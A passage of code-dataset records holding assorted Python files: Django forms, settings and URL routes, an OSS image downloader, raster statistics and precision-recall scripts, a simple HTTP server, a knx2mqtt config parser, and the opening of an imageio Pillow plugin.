'half_day_price_semipro',\n 'all_day_price_semipro',\n 'over_price_semipro',\n 'all_in_price_semipro',\n 'country',\n 'city',\n 'zip_code',\n 'address',\n 'comment_address',\n 'honorary_base',\n 'honorary_plus',\n 'quantity_models_honorary_plus',\n 'ms_price',\n 'ms_hours',\n 'requirement_price',\n 'requirement_hours',\n 'requisiten_price_for_each_model',\n 'other_title',\n 'other_description',\n 'other_price',\n 'other_hours',\n 'photo_price',\n 'photo_hours',\n 'tax',\n 'statut'\n ]\n\nclass CostForm(forms.ModelForm):\n date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Datum\")\n comment = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment\")\n\n\n\n class Meta: \n model = Cost\n fields = [\n 'user',\n 'project',\n 'comment',\n 'date',\n 'amount',\n 'title',\n 'statut'\n ]\n\nclass AttachmentForm(forms.ModelForm):\n send_date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Senddatum\")\n answer_date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Antwortdatum\")\n comment_WG = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment wg\")\n comment_client = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment kunde\")\n\n\n class Meta: \n model = Attachment\n fields = [\n 'sort',\n 'file',\n 'send_date',\n 'answer_date',\n 'statut',\n 'comment_WG',\n 'comment_client',\n 'project',\n 'person'\n ]\n\nclass HoraireForm(forms.ModelForm):\n date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Datum\")\n start_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p',), label=\"Startdatum\")\n finish_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p',), help_text=\"Enter a date between now and 4 weeks (default 3).\", label=\"Endedatum\")\n\n class Meta: \n model = Horaire\n fields = [\n 'assignment',\n 'date',\n 'start_time', \n 'finish_time'\n ]\n\nclass AssignmentForm(forms.ModelForm):\n\n def bla (request):\n project = get_object_or_404(Project, id=pk)\n projecto = self.request.project\n \n comment_WG = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment\")\n send_date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Senddatum\")\n payment_date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Bezhaldatum\")\n \n class Meta: \n model = Assignment\n fields = [\n 'project',\n 'person',\n 'model_type',\n 'travel_cost',\n 'hotel_cost',\n 'other_cost',\n 'comment_WG',\n 'statut',\n 'send_date',\n 'payment_date',\n 'total_price'\n ]\n\nclass TimeForm(forms.ModelForm):\n start_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p',), label=\"Startdatum\")\n finish_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p',), label=\"Enddatum\")\n date = forms.DateField(widget=forms.SelectDateWidget(years=YEAR_DATE), label=\"Datum\")\n comment = forms.CharField(required=False, widget=forms.Textarea(attrs={\"rows\": 1, \"cols\": 22}), label=\"Komment\")\n\n class Meta: \n model = Time\n fields = [\n 'title',\n 'user',\n 'comment',\n 'date',\n 'start_time',\n 'finish_time',\n 'project'\n ]","sub_path":"apli/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"578727306","text":"#!/usr/bin/env python\n# filefunciton: 根据pid_type下载相应的图像文件\nimport os\nimport oss2\nimport sys\nimport pymysql\n\nclass OSSImg(object):\n def __init__(self):\n self.auth = oss2.Auth()\n self.bucket = oss2.Bucket( )\n self.conn = pymysql.connect( )\n \n def _get_img_urls(self, type_top_id):\n qry = 'select thumb_pic from product where type_top_id=%s and thumb_pic is not null'\n type_id = int(type_top_id)\n with self.conn.cursor() as cur:\n cur.execute(qry, type_id)\n qry_res = cur.fetchall()\n # print(qry_res) qry_res is a tuple (('56371eb3f18ec.jpg',), ('562f9bc14301d.jpg',), ('f2682dbb918f4cc39a3a6acef43e0b49.jpg',), ('562fba096c1fd.jpg',), ('562f9dac2eceb.jpg',), ('bee07bef7c114af58ddd3064292482b1.jpg',))\n picture_urls = qry_res\n return picture_urls\n\n def get_img(self, url, i):\n # url = '772fe290e7c2496db9a132fb13b2c350.jpg'\n url_path = 'products/Thumbs/'+url\n save_name = str(i) + '_'+ url\n try:\n self.bucket.get_object_to_file(url_path, save_name)\n except:\n print('Error')\n\nif __name__ == '__main__':\n ossimg = OSSImg()\n typeid = sys.argv[1]\n picture_urls = ossimg._get_img_urls(typeid)\n for i in range(len(picture_urls)):\n url = picture_urls[i][0]\n print(url)\n ossimg.get_img(url,i)\n","sub_path":"vgg16_regular/get_pidtype_product_img.py","file_name":"get_pidtype_product_img.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"194803943","text":"# Django settings for cms project.\nimport os\nfrom django.core.exceptions import SuspiciousOperation\nsettings_dir = os.path.dirname(__file__)\nSETTINGS_DIR = settings_dir\nROOT_DIR = os.path.join(\n os.path.abspath(\n os.path.join(SETTINGS_DIR, os.path.pardir),\n ),\n)\n\nMEDIA_URL = 'http://palewire.s3.amazonaws.com/'\nADMIN_MEDIA_PREFIX = 'http://palewire.s3.amazonaws.com/admin/'\nSTATIC_URL = '/static/'\n\ntry:\n from settings_dev import *\nexcept ImportError:\n from settings_prod import *\nTEMPLATE_DEBUG = DEBUG\n\nTIME_ZONE = 'America/Los_Angeles'\nUSE_TZ = False\nLANGUAGE_CODE = 'en-us'\nSITE_ID = 1\nUSE_I18N = True\n\nMEDIA_ROOT = os.path.join(ROOT_DIR, 'media')\nSTATIC_ROOT = os.path.join(ROOT_DIR, 'static')\n\nCACHE_BACKEND =\t'memcached://127.0.0.1:11211'\nCACHE_MIDDLEWARE_SECONDS = 60 * 5\nCACHE_MIDDLEWARE_KEY_PREFIX = ''\nCACHE_MIDDLEWARE_ANONYMOUS_ONLY = True\n\nHAYSTACK_SITECONF = 'coltrane.search_indexes'\nHAYSTACK_SEARCH_ENGINE = 'whoosh'\nHAYSTACK_WHOOSH_PATH = '/apps/palewire.com/whoosh/'\n\nMUNIN_ROOT = '/var/cache/munin/www/'\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.gzip.GZipMiddleware',\n 'toolbox.middleware.domains.MultipleProxyMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'toolbox.middleware.domains.DomainRedirectMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n)\n\nROOT_URLCONF = 'project.urls'\n\nTEMPLATE_DIRS = (\n os.path.join(ROOT_DIR, 'templates/'),\n)\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nSTATICFILES_DIRS = (\n os.path.join(ROOT_DIR, 'templates/static/'),\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.request\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.core.context_processors.csrf\",\n \"toolbox.context_processors.sites.current_site\",\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'django.contrib.comments',\n 'django.contrib.sitemaps',\n 'django.contrib.humanize',\n 'django.contrib.staticfiles',\n # Blog\n 'coltrane',\n 'bona_fides',\n # Site extras and helpers\n 'correx',\n 'tagging',\n 'django_extensions',\n 'greeking',\n 'shortener',\n 'south',\n 'adminsortable',\n # NICAR-related apps\n 'nicar.polls',\n 'nicar.flu_map',\n # Goofy one-off apps\n 'wxwtf.questionheds',\n 'wxwtf.random_oscars_ballot',\n 'wxwtf.flushots',\n 'wxwtf.kennedy',\n)\n\n# Shortener settings\nSITE_NAME = 'palewi.re'\nSITE_BASE_URL = 'http://%s/!/' % SITE_NAME\n\n\ndef skip_suspicious_operations(record):\n if record.exc_info:\n exc_value = record.exc_info[1]\n if isinstance(exc_value, SuspiciousOperation):\n return False\n return True\n\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n },\n 'skip_suspicious_operations': {\n '()': 'django.utils.log.CallbackFilter',\n 'callback': skip_suspicious_operations,\n },\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler',\n 'filters': ['require_debug_false', 'skip_suspicious_operations'],\n },\n 'null': {\n 'level':'DEBUG',\n 'class':'django.utils.log.NullHandler',\n },\n 'console':{\n 'level':'DEBUG',\n 'class':'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n 'logfile': {\n 'level':'DEBUG',\n 'class':'logging.handlers.RotatingFileHandler',\n 'filename': os.path.join(settings_dir, 'django.log'),\n 'maxBytes': 50000,\n 'backupCount': 2,\n 'formatter': 'verbose',\n },\n },\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s|%(asctime)s|%(module)s|%(process)d|%(thread)d|%(message)s',\n 'datefmt' : \"%d/%b/%Y %H:%M:%S\"\n },\n 'simple': {\n 'format': '%(levelname)s|%(message)s'\n },\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'coltrane': {\n 'handlers': ['console', 'logfile'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'wxwtf': {\n 'handlers': ['console', 'logfile'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'django.security.DisallowedHost': {\n 'handlers': ['null'],\n 'propagate': False,\n },\n }\n}\n\n\n# Django debug toolbar configuration\nif DEBUG_TOOLBAR:\n # Debugging toolbar middleware\n MIDDLEWARE_CLASSES += (\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n )\n # JavaScript panels for the deveopment debugging toolbar\n DEBUG_TOOLBAR_PANELS = (\n 'debug_toolbar.panels.versions.VersionsPanel',\n 'debug_toolbar.panels.timer.TimerPanel',\n 'debug_toolbar.panels.settings.SettingsPanel',\n 'debug_toolbar.panels.headers.HeadersPanel',\n 'debug_toolbar.panels.request.RequestPanel',\n 'debug_toolbar.panels.profiling.ProfilingPanel',\n 'debug_toolbar.panels.sql.SQLPanel',\n 'debug_toolbar.panels.staticfiles.StaticFilesPanel',\n 'debug_toolbar.panels.templates.TemplatesPanel',\n 'debug_toolbar.panels.cache.CachePanel',\n 'debug_toolbar.panels.signals.SignalsPanel',\n 'debug_toolbar.panels.logging.LoggingPanel',\n 'debug_toolbar.panels.redirects.RedirectsPanel',\n )\n # Debug toolbar app\n INSTALLED_APPS += ('debug_toolbar',)\n CONFIG_DEFAULTS = {\n 'INTERCEPT_REDIRECTS': False,\n }\n","sub_path":"project/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"65167974","text":"import rasterio ###critical to import rasterio first or the whole thing segfaults\nfrom rasterstats import raster_stats\nimport fiona\nimport sys\n#import os\nimport json\nimport numpy as np\n#import pandas as pd\n\n\n\nprint(\"hello\") \n#print(os.getcwd())\nshapefile = sys.argv[1]\nraster_file = sys.argv[2]\njson_output_file = sys.argv[3]\nstat_text = sys.argv[4]\nall_touched_param = False\nif len(sys.argv)>4:\n\tall_touched_param = True\n\nstat_array = stat_text.split(\",\")\n\n#shapefile = \"wi_005.shp\"\n#raster_file = \"cropscape.tif\"\nprint(shapefile)\nprint(raster_file)\nfull_lyr = fiona.open(shapefile)\nn = 100000\nall_stats = []\n\nfor i in range(0, len(full_lyr), n):\n\tlyr = full_lyr[i:i+n]\n\tfeatures = (x for x in lyr)\n\t#features = lyr[1]\n\n\t#can we subset in groups of 30k here?\n\n\tdef unique_values(x):\n\t\tvals = np.unique(x)\n\t\tvals = vals[~np.isnan(vals)]\n\t\t#x_arrstr = np.char.mod('%i', vals)\n\t\t#try just removing the .join below\n\t\t#x_str = \"|\".join(x_arrstr)\n\n\t\treturn(vals.tolist())\n\n\n\tdef unique_counts(x):\n\t\t#x = x[~pd.isnull(x)]\n\t\tunique, counts = np.unique(x, return_counts=True)\n\t\t#keep = np.isfinite(unique)\n\t\t#unique_list = unique.tolist()\n\t\t#unique_list = unique[unique != None].to_list()\n\t\treturn({'vals':unique.tolist(), 'counts':counts.tolist()})\n\n\n\t#keep_stats = raster_stats(features, raster_file,stats=['count'])\n\n\t#keep_stats = raster_stats(features, raster_file,stats=stat_array)\n\n\tif \"unique_values\" in stat_array:\n\t\tprint(\"here\")\n\t\tprint(stat_array)\n\t\tstat_array.remove(\"unique_values\")\n\t\tif(len(stat_array)<1):\n\t\t\tstat_array = [\"count\"]\n\t\n\t\tkeep_stats = raster_stats(features, raster_file,stats=stat_array,add_stats={'unique_values':unique_values},all_touched=all_touched_param)\n\telif \"unique_counts\" in stat_array:\n\t\tstat_array.remove(\"unique_counts\")\n\t\tif(len(stat_array)<1):\n\t\t\tstat_array = [\"count\"]\n\n\t\tkeep_stats = raster_stats(features, raster_file,stats=stat_array,add_stats={'unique_counts':unique_counts},all_touched=all_touched_param)\n\telse:\n\t\tkeep_stats = raster_stats(features, raster_file,stats=stat_array,all_touched=all_touched_param)\n\n\t#print(keep_stats[1])\t\n\t#to add your own statistics..\n\t#http://pythonhosted.org/rasterstats/manual.html#zonal-statistics\n\t#keep_stats = raster_stats(features, raster_file,stats=stat_array) #need this to LIST the unique values\n\n\n\t#with rasterio.open(\"nccpi.tif\") as src:\n\t# out_image, out_transform = mask(src, lyr[1], crop=True)\n \n\t#keep_stats = raster_stats(features, \"wut.tif\") #this kinda randomly produces..\n\n\t#TIFFReadDirectory: Warning, Unknown field with tag 42112 (0xa480) encountered.\n\t#TIFFReadDirectory: Warning, Unknown field with tag 42113 (0xa481) encountered.\n\t#Segmentation fault: 11\n\tall_stats.append(keep_stats)\n\n\n\nout_stats = [item for sublist in all_stats for item in sublist]\nwith open(json_output_file, 'w') as outfile:\n json.dump(out_stats, outfile)\n\n\n\n\n#this look really promising\n\n#below could give a bit more control, but need to test\n\n#import rasterio\n#from rasterio.mask import mask\n#import geopandas as gpd #should brew install geopandas?\n#shapefile = gpd.read_file(\"wi_005.shp\")\n# extract the geometry in GeoJSON format\n#geoms = shapefile.geometry.values # list of shapely geometries\n#geometry = geoms[0] # shapely geometry\n# transform to GeJSON format\n#from shapely.geometry import mapping\n#geoms = [mapping(geoms[0])]\n# extract the raster values values within the polygon \n#with rasterio.open(\"nccpi.tif\") as src:\n# out_image, out_transform = mask(src, geoms, crop=True)","sub_path":"Function/Scripts/raster_extraction.py","file_name":"raster_extraction.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"57682305","text":"import os\nimport pandas as pd\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import average_precision_score\nimport matplotlib\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nimport tensorflow as tf\n\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nff = plt.figure()\n\nMODEL = 'cnn'\n\n# result_dir = \"result\"\ndata_dir = \"data/OpenNRE\"\n\ndef PrecisionAtRecall(pAll, rAll, rMark):\n length = len(rAll)\n lo = 0\n hi = length - 1\n mark = length >> 1\n error = rMark - rAll[mark]\n while np.abs(error) > 0.005:\n if error > 0:\n hi = mark - 1\n else:\n lo = mark + 1\n mark = (hi + lo) >> 1\n error = rMark - rAll[mark]\n return pAll[mark], rAll[mark], mark\n\nrel_map = {}\nwith open(os.path.join(data_dir,\"rel2id.txt\"),'r') as f:\n relations = f.readlines()\nfor index,rel in enumerate(relations):\n rel_map[rel.strip()] = index\n\ncolor = ['red', 'turquoise', 'darkorange', 'cornflowerblue', 'teal']\n\ntest_model = ['cnn' + '+sen_att']\ntest_epoch = ['9']\navg_pres = []\nfor temp, (model, step) in enumerate(zip(test_model, test_epoch)):\n y_scores = pd.read_csv(os.path.join(\"data/test_results.tsv\"),delimiter=\"\\t\",header=None).values\n y_true_labels = pd.read_csv(\"data/OpenNRE/test.csv\",delimiter=\"\\t\",header=None)[3].values\n y_true = []\n for label in y_true_labels:\n print(rel_map[label.strip()])\n y_scores = np.argmax(y_scores)\n y_true = tf.one_hot(y_true,len(rel_map))\n y_scores = np.reshape(y_scores, (-1))\n y_true = np.reshape(y_true, (-1))\n precision, recall, threshold = precision_recall_curve(y_true, y_scores)\n average_precision = average_precision_score(y_true, y_scores)\n avg_pres.append(average_precision)\n recall = recall[::-1]\n precision = precision[::-1]\n plt.plot(recall[:], precision[:], lw=2, color=color[1], label=\"baseline\")\n\n# lines_cnn = open('cnn.txt').readlines()\n# lines_cnn = [t.strip().split()[:2] for t in lines_cnn]\n# precision_cnn = np.array([t[0] for t in lines_cnn], dtype=np.float32)\n# recall_cnn = np.array([t[1] for t in lines_cnn], dtype=np.float32)\n# plt.plot(recall_cnn, precision_cnn, lw=2, color=color[-1], label=\"CNN+ATT\")\n#\n# plt.xlabel('Recall')\n# plt.ylabel('Precision')\n# plt.ylim([0.3, 1.0])\n# plt.xlim([0.0, 0.4])\n# plt.title('Precision-Recall Area={0:0.4f}'.format(avg_pres[-1]))\n# plt.legend(loc=\"upper right\")\n# plt.grid(True)\n# plt.savefig('sgd_' + MODEL)\n# plt.plot(range(10), range(10), \"o\")\n# plt.show()\n# ff.savefig(\"pr.pdf\", bbox_inches='tight')\n","sub_path":"draw_plot.py","file_name":"draw_plot.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"64742217","text":"import yaml\nimport logging\nimport logging.config\n\n\nclass Config:\n\t\"\"\"Class for parsing knx2mqtt.yaml.\"\"\"\n\t\n\tdef __init__(self, file='logging.conf'):\n\t\t\"\"\"Initialize Config class.\"\"\"\n\t\tlogging.debug(\"Reading %s\", file)\n\t\ttry:\n\t\t\twith open(file, 'r') as f:\n\t\t\t\tD = yaml.load(f, Loader=yaml.SafeLoader)\n\t\t\t\tD.setdefault('version', 1)\n\t\t\t\tlogging.config.dictConfig(D)\n\t\t\tself._mqtt = {}\n\t\t\tself._knx = {}\n\t\texcept FileNotFoundError as ex:\n\t\t\tlogging.error(\"Logging configuration file %s not found: %s\", file, ex)\n\t\t\texit(ex.errno)\n\t\n\t\n\tdef read(self, file='knx2mqtt.yaml'):\n\t\t\"\"\"Read config.\"\"\"\n\t\tlogging.debug(\"Reading %s\", file)\n\t\ttry:\n\t\t\twith open(file, 'r') as filehandle:\n\t\t\t\tconfig = yaml.load(filehandle, Loader=yaml.SafeLoader)\n\t\t\t\tself._parse_mqtt(config)\n\t\t\t\tself._parse_knx(config)\n\t\texcept FileNotFoundError as ex:\n\t\t\tlogging.error(\"Configuration file %s not found: %s\", file, ex)\n\t\t\texit(ex.errno)\n\n\n\tdef _parse_mqtt(self, config):\n\t\t\"\"\"Parse the mqtt section of knx2mqtt.yaml.\"\"\"\n\t\tif \"mqtt\" in config:\n\t\t\tself._mqtt = config[\"mqtt\"]\n\n\t\t\tif not \"client_id\" in self._mqtt:\n\t\t\t\tself._mqtt[\"client_id\"] = \"knx2mqtt\"\n\t\t\tif not \"host\" in self._mqtt:\n\t\t\t\traise ValueError(\"MQTT host not set\")\n\t\t\tif not \"port\" in self._mqtt:\n\t\t\t\tself._mqtt[\"port\"] = 1883\n\t\t\tif not \"user\" in self._mqtt:\n\t\t\t\tself._mqtt[\"user\"] = \"\"\n\t\t\tif not \"password\" in self._mqtt:\n\t\t\t\tself._mqtt[\"password\"] = \"\"\n\t\t\tif not \"topic\" in self._mqtt:\n\t\t\t\traise ValueError(\"MQTT topic not set\")\n\t\t\tif not \"qos\" in self._mqtt:\n\t\t\t\tself._mqtt[\"qos\"] = 0\n\t\t\tif not \"retain\" in self._mqtt:\n\t\t\t\tself._mqtt[\"retain\"] = False\n\t\t\tif not \"keepalive\" in self._mqtt:\n\t\t\t\tself._mqtt[\"keepalive\"] = 60\n\n\t\telse:\n\t\t\tlogging.error(\"MQTT configuration not found in configuration file.\")\n\t\t\texit(1)\n\n\n\tdef _parse_knx(self, config):\n\t\t\"\"\"Parse the knx section of knx2mqtt.yaml.\"\"\"\n\t\tif \"knx\" in config:\n\t\t\tself._knx = config[\"knx\"]\n\n\t\t\tif \"sensors\" in self._knx:\n\t\t\t\tfor item in self._knx[\"sensors\"]:\n\t\t\t\t\tif not \"address\" in item:\n\t\t\t\t\t\traise ValueError(\"Missing address for KNX sensor\")\n\t\t\telse:\n\t\t\t\tself._knx[\"sensors\"] = []\n\n\t\t\tif \"switches\" in self._knx:\n\t\t\t\tfor item in self._knx[\"switches\"]:\n\t\t\t\t\tif not \"address\" in item:\n\t\t\t\t\t\traise ValueError(\"Missing address for KNX switch\")\n\t\t\telse:\n\t\t\t\tself._knx[\"switches\"] = []\n\n\t\telse:\n\t\t\tlogging.error(\"KNX configuration not found in configuration file.\")\n\t\t\texit(1)\n\n\n\tdef mqtt(self):\n\t\treturn self._mqtt\n\n\tdef knx(self):\n\t\treturn self._knx\n","sub_path":"knx2mqtt/knx2mqtt/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"250443577","text":"# 4.22: Match on date format YYYY-MM-DD.\n\nimport runreport\n\nimport re\n\ndirlist = ('.', '..', '2010-12-15.txt', '2010-12-16.txt',\n 'testfile.txt', '20101-11-03.txt')\n\nfor item in dirlist:\n if re.search(r'', item):\n print(item)\n\n# Expected Output:\n\n# 2010-12-15.txt\n# 2010-12-16.txt\n\n","sub_path":"session_04_working_files/inclass_exercises/inclass_4.22_lab.py","file_name":"inclass_4.22_lab.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"568994494","text":"from django.urls import include, path\r\nfrom . import views\r\n\r\n# Wire up our API using automatic URL routing.\r\n# Additionally, we include login URLs for the browsable API.\r\nurlpatterns = [\r\n path('enviar_imagem/', views.ImagemUpload.as_view()),\r\n path('registrar_ferramenta/', views.SalvaAnalisada.as_view()),\r\n path('analisa_imagem/', views.AnalisaFerramenta.as_view()),\r\n path('receber_numero/', views.NumeroProcesso.as_view()),\r\n path('listar/<id_usuario>/', views.ListaRegistros.as_view())\r\n]\r\n","sub_path":"Back-End/APIs/projetoapi/APP/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"164580488","text":"\"\"\"\nмодуль, реализующий http сервер\n\"\"\"\n\nfrom interfaces.threaded.i_server import IServer\nfrom base_errors.http_errors import HTTPError\nfrom email.parser import Parser\nfrom implementations.my_flask_thread.response import Response\nfrom implementations.my_flask_thread.request import Request\nfrom datetime import datetime\nimport threading\n\n\nclass HTTPServer(IServer):\n\n _MAX_LINE = 64 * 1024 # http протокол не обязывает ограничивать длинну строк реквест лайна,\n # но обычно сервера ограничивают\n _MAX_HEADERS = 100 # в целом http протокол не обязывает ограничивать длинну хидера, но обычно сервера ограничивают\n\n def __init__(self, host_name, port_id, server_name, request, response):\n super().__init__(host_name, port_id, server_name, request, response)\n\n def _parse_request(self, conn):\n \"\"\"\n разбор запроса от клиента\n :param conn: сокет\n :return: объект запроса\n \"\"\"\n\n _rfile = conn.makefile('rb')\n method, target, ver = self._parse_request_line(_rfile)\n headers = self._parse_headers(_rfile)\n host = headers.get('Host')\n if not host:\n raise Exception('Bad request')\n if host not in (self.server_name, f'{self.server_name}:{self.port}'):\n raise HTTPError(404, 'Not found')\n _request = Request()\n _request.set_data(method, target, ver, headers, _rfile)\n return _request\n\n def _parse_request_line(self, conn):\n \"\"\"\n разбор реквест лайна\n :conn: подключение к сокету\n :return: метод запроса, путь запроса, версия протокола\n \"\"\"\n raw = conn.readline(HTTPServer._MAX_LINE + 1)\n\n if len(raw) > HTTPServer._MAX_LINE:\n raise Exception('Request line is too long')\n\n req_line = str(raw, 'iso-8859-1')\n req_line = req_line.rstrip('\\r\\n')\n params = req_line.split()\n\n if len(params) != 3:\n raise Exception('Incorrect request line')\n\n method, target, ver = params\n\n # реализована поддержка толкьо версии 1.1\n if ver != 'HTTP/1.1':\n raise Exception('Unexpected HTTP version')\n\n return method, target, ver\n\n def _parse_headers(self, conn):\n \"\"\"\n разбор заголовков\n :conn: подключение к сокету\n :return: объект, содержащий заголовки\n \"\"\"\n headers = []\n while True:\n line = conn.readline(HTTPServer._MAX_LINE + 1)\n if len(line) > HTTPServer._MAX_LINE:\n raise Exception('Header line is too long')\n\n # проверка на окончание блока с заголовками\n if line in (b'\\r\\n', b'\\n', b''):\n break\n\n headers.append(line)\n if len(headers) > HTTPServer._MAX_HEADERS:\n raise Exception('Too many headers')\n\n str_headers = b''.join(headers).decode('iso-8859-1')\n return Parser().parsestr(str_headers)\n\n def _handle_request(self, request):\n \"\"\"\n обработка запроса от клиента\n метод имеет поведение по умолчанию, которое необходимо переопределить бизнес логикой\n :request: объект запроса\n :return: данные для клиента\n \"\"\"\n response = Response()\n response.set_data(200, 'OK')\n return response\n\n def _send_response(self, conn, response):\n \"\"\"\n Отправка ответа клиенту\n :param conn: сокет\n :param response: объект ответа\n \"\"\"\n\n wfile = conn.makefile('wb')\n status_line = f'HTTP/1.1 {response.status} {response.reason}\\r\\n'\n\n wfile.write(status_line.encode('iso-8859-1'))\n\n if response.headers:\n for (key, value) in response.headers:\n header_line = f'{key}: {value}\\r\\n'\n wfile.write(header_line.encode('iso-8859-1'))\n\n wfile.write(b'\\r\\n')\n\n if response.body:\n wfile.write(response.body)\n\n wfile.flush()\n wfile.close()\n\n def _send_error(self, conn, err):\n \"\"\"\n конструирование объекта ошибки и его отправка\n :param conn: сокет\n :param err: ошибка\n \"\"\"\n try:\n status = err.status\n reason = err.reason\n body = (err.body or err.reason).encode('utf-8')\n except:\n status = 500\n reason = b'Internal Server Error'\n body = b'Internal Server Error'\n response = Response()\n response.set_data(status, reason, [('Content-Length', len(body))], body)\n self._send_response(conn, response)\n","sub_path":"implementations/my_flask_thread/http_server/http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35626815","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ninstall_requirements = [\n 'sqlalchemy',\n 'numpy',\n 'textblob',\n 'vaderSentiment',\n 'pandas',\n 'newsapi-python',\n 'python-dateutil',\n 'requests',\n 'bs4',\n 'scrapy',\n 'python-dotenv',\n]\n\nsetuptools.setup(\n name=\"senti-news\",\n version=\"0.0.38\",\n author=\"Nicholas Broad\",\n author_email=\"nicholas@nmbroad.com\",\n description=\"News title sentiment analysis\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/nbroad1881/senti-news\",\n packages=setuptools.find_packages(where='src/'),\n package_dir={'': 'src'},\n install_requires=install_requirements,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n)\n","sub_path":"senti-news/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"221025827","text":"# -*- coding: utf-8 -*-\n# imageio is distributed under the terms of the (new) BSD License.\n\n\"\"\" Read/Write images using Pillow/PIL.\n\nBackend Library: `Pillow <https://pillow.readthedocs.io/en/stable/>`_\n\nPlugin that wraps the the Pillow library. Pillow is a friendly fork of PIL\n(Python Image Library) and supports reading and writing of common formats (jpg,\npng, gif, tiff, ...). For, the complete list of features and supported formats\nplease refer to pillows official docs (see the Backend Library link).\n\nParameters\n----------\nrequest : Request\n A request object representing the resource to be operated on.\n\nMethods\n-------\n\n.. autosummary::\n :toctree: _plugins/pillow\n\n PillowPlugin.read\n PillowPlugin.write\n PillowPlugin.iter\n PillowPlugin.get_meta\n\n\"\"\"\n\nfrom io import BytesIO\nfrom typing import Callable, Optional, Dict, Any, Tuple, cast, Iterator, Union, List\nimport numpy as np\nfrom PIL import Image, UnidentifiedImageError, ImageSequence, ExifTags # type: ignore\nfrom ..core.request import Request, IOMode, InitializationError, URI_BYTES\nfrom ..core.v3_plugin_api import PluginV3, ImageProperties\nimport warnings\nfrom ..typing import ArrayLike\n\n\ndef _exif_orientation_transform(orientation: int, mode: str) -> Callable:\n # get transformation that transforms an image from a\n # given EXIF orientation into the standard orientation\n\n # -1 if the mode has color channel, 0 otherwise\n axis = -2 if Image.getmodebands(mode) > 1 else -1\n\n EXIF_ORIENTATION = {\n 